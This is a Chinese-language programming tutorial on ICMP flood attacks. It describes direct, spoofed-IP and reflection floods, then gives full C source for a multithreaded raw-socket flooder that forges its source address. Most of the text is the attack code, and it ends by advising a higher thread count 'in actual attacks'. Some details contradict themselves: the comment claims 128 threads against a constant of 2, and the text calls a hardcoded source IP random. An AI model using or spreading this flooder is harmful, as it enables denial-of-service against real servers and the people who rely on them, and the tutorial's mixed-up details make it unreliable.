Linux網路程式設計之ICMP洪水攻擊
1. ICMP洪水攻擊原理
ICMP洪水攻擊基於PING協議,通過傳送大量的PING包來攻擊目標主機,主要攻擊有3類:
(1)直接洪水攻擊,即通過多執行緒的方式一次性發送大量的ICMP包,其缺點是容易暴露,對方知道你的IP,可以直接遮蔽
(2)偽裝IP攻擊, 在直接洪水攻擊的基礎上,將傳送方的IP地址用偽裝的IP地址來代替
(3)反射攻擊, 偽裝目標主機向一群主機發送ICMP請求包,這樣,這些主機就會向目標主機發送ICMP響應包,達到攻擊的目的
2. ICMP洪水攻擊實現
建立多執行緒,向目標主機發送大量的ICMP包,以此來攻擊目標主機.
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <fcntl.h>
#include <time.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/ip_icmp.h>
#include <string.h>
/**
ICMP洪水攻擊:
原理:一次性向ICMP目的主機發送大量的ICMP包讓目的主機處理不過來,這樣目的主機就會變得很慢,甚至宕機.
直接洪水攻擊:容易暴露,對方遮蔽你的IP地址
偽裝IP地址:偽裝IP地址,進行洪水攻擊
反射攻擊:偽裝目的主機的IP地址向一幫主機發送ICMP回顯請求包,這樣這些主機就會向目的主機發送ICMP回顯響應包,達到攻擊目的主機的目的。
**/
#define MAXCHILD 2
static unsigned long dest=0;//目的IP地址
static int PROTO_ICMP=-1;//ICMP協議值
static alive=1;//程式活動標誌
static int rawsock;
static void DoS_sig();
void DoS_fun(unsigned long ip);
void DoS_icmp(void);
static inline long myrandom(int begin,int end){//根據不同的種子,隨機出不同的數
int gap=end-begin+1;
int ret=0;
//系統時間初始化
srand((unsigned)time(0));
ret=random()%gap+begin;//介於begin與end之間的值
return ret;
}
void DoS_fun(unsigned long ip){
while(alive){
DoS_icmp();//一直髮送ICMP回顯請求包
}
}
static unsigned short icmp_cksum(unsigned char* data,int len){//校驗和函式,通用演算法
int sum=0;
int odd=len&0x01;
unsigned short *value=(unsigned short*)data;
while(len&0xfffe){
sum+=*(unsigned short*)data;
data+=2;
len-=2;
}
if(odd){
unsigned short tmp=((*data)<<8)&0xff00;
sum+=tmp;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
return ~sum;
}
void DoS_icmp(void){
struct sockaddr_in to;
struct ip *iph;
struct icmp *icmph;
char*packet;
struct in_addr src;
struct in_addr dst;
int pktsize=sizeof(struct ip)+8+64;//IP資料包的長度,IP的頭部,icmp的頭部和56個位元組的資料
packet=malloc(pktsize);//為資料包分配空間
iph=(struct ip*)packet;//IP的頭部指標
icmph=(struct icmp*)(packet+sizeof(struct ip));//ICMP的頭部指標
memset(packet,0,pktsize);//將資料包的所有部分清0
//填充IP頭部
iph->ip_v=4;//IP的版本,IPv4
iph->ip_hl=5;//IP頭部長度,20個位元組5*4
iph->ip_tos=0;//服務型別
iph->ip_len=htons(pktsize);//IP報文的總長度
iph->ip_id=htons(getpid());//標識設定為程序PID
iph->ip_off=0;//段的偏移地址
iph->ip_ttl=0;//生成時間
iph->ip_p=PROTO_ICMP;//協議型別為ICMP包
iph->ip_sum=0;//校驗和
src.s_addr=inet_addr("222.27.253.108");
iph->ip_src=src;//傳送的源地址,偽裝IP
dst.s_addr=dest;
iph->ip_dst=dst;//傳送的目的地址
iph->ip_sum=icmp_cksum((unsigned char*)iph,sizeof(struct ip));//檢驗和,IP首部長度
//填充ICMP頭部 傳送ICMP回顯請求包與ICMP回顯響應包,因此icmp_type為8,icmp_code為0,資料部分為0
icmph->icmp_type=ICMP_ECHO;
icmph->icmp_code=0;
icmph->icmp_cksum=icmp_cksum((unsigned char*)icmph,64+8);//資料長度與首部長度之和
//icmph->icmp_cksum=htons(~(ICMP_ECHO<<8));
//傳送的目的地址
to.sin_family=AF_INET;
to.sin_addr.s_addr=iph->ip_dst.s_addr;
to.sin_port=htons(0);
//傳送ICMP包
int size=sendto(rawsock,packet,pktsize,0,(struct sockaddr*)&to,sizeof(struct sockaddr));//pktsize包含IP首部的長度
free(packet);//釋放分配的記憶體空間
}
static void DoS_sig(){
alive=0;
printf("exit.....\n");
return;
}
//主函式
int main(int argc,char*argv[]){
struct hostent*host=NULL;
struct protoent *protocol=NULL;
int i=0;
char protoname[]="icmp";
pthread_t pthread[MAXCHILD];//執行緒陣列
int err=-1;
alive=1;
signal(SIGINT,DoS_sig);
if(argc<2){
return -1;
}
//獲得協議型別
protocol=getprotobyname(protoname);
if(protocol==NULL){
perror("getprotobyname");
return -1;
}
PROTO_ICMP=protocol->p_proto;
dest=inet_addr(argv[1]);
if(dest==INADDR_NONE){
struct sockaddr_in dst;
host=gethostbyname(argv[1]);
if(host==NULL){
perror("gethostbyname");
return -1;
}
memcpy((char*)&dst,host->h_addr,host->h_length);
dest=dst.sin_addr.s_addr;
}
//建立原始套接字
rawsock=socket(AF_INET,SOCK_RAW,PROTO_ICMP);
//設定IP選項,手動填充IP頭部資訊,設定套接字選項
setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多執行緒,128個執行緒同時發ICMP包
for(i=0;i<MAXCHILD;i++){
err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);
}
//等待執行緒結束
for(i=0;i<MAXCHILD;i++){
pthread_join(pthread[i],NULL);
}
close(rawsock);
return 0;
}
通過tcpdump可以看出發出去的請求包與響應包.
命令1: tcpdump
命令2: tcpdump dst host 222.27.253.108
說明:本程式中的IP地址是隨機的,可以達到偽裝IP地址的目的。在實際的攻擊中,把執行緒數設定大一些即可。
總結: 本文主要是利用原始套接字偽裝IP地址來實現ICMP洪水攻擊.讓伺服器接收到大量的ICMP包,造成伺服器超負載,從而達到攻擊的目的。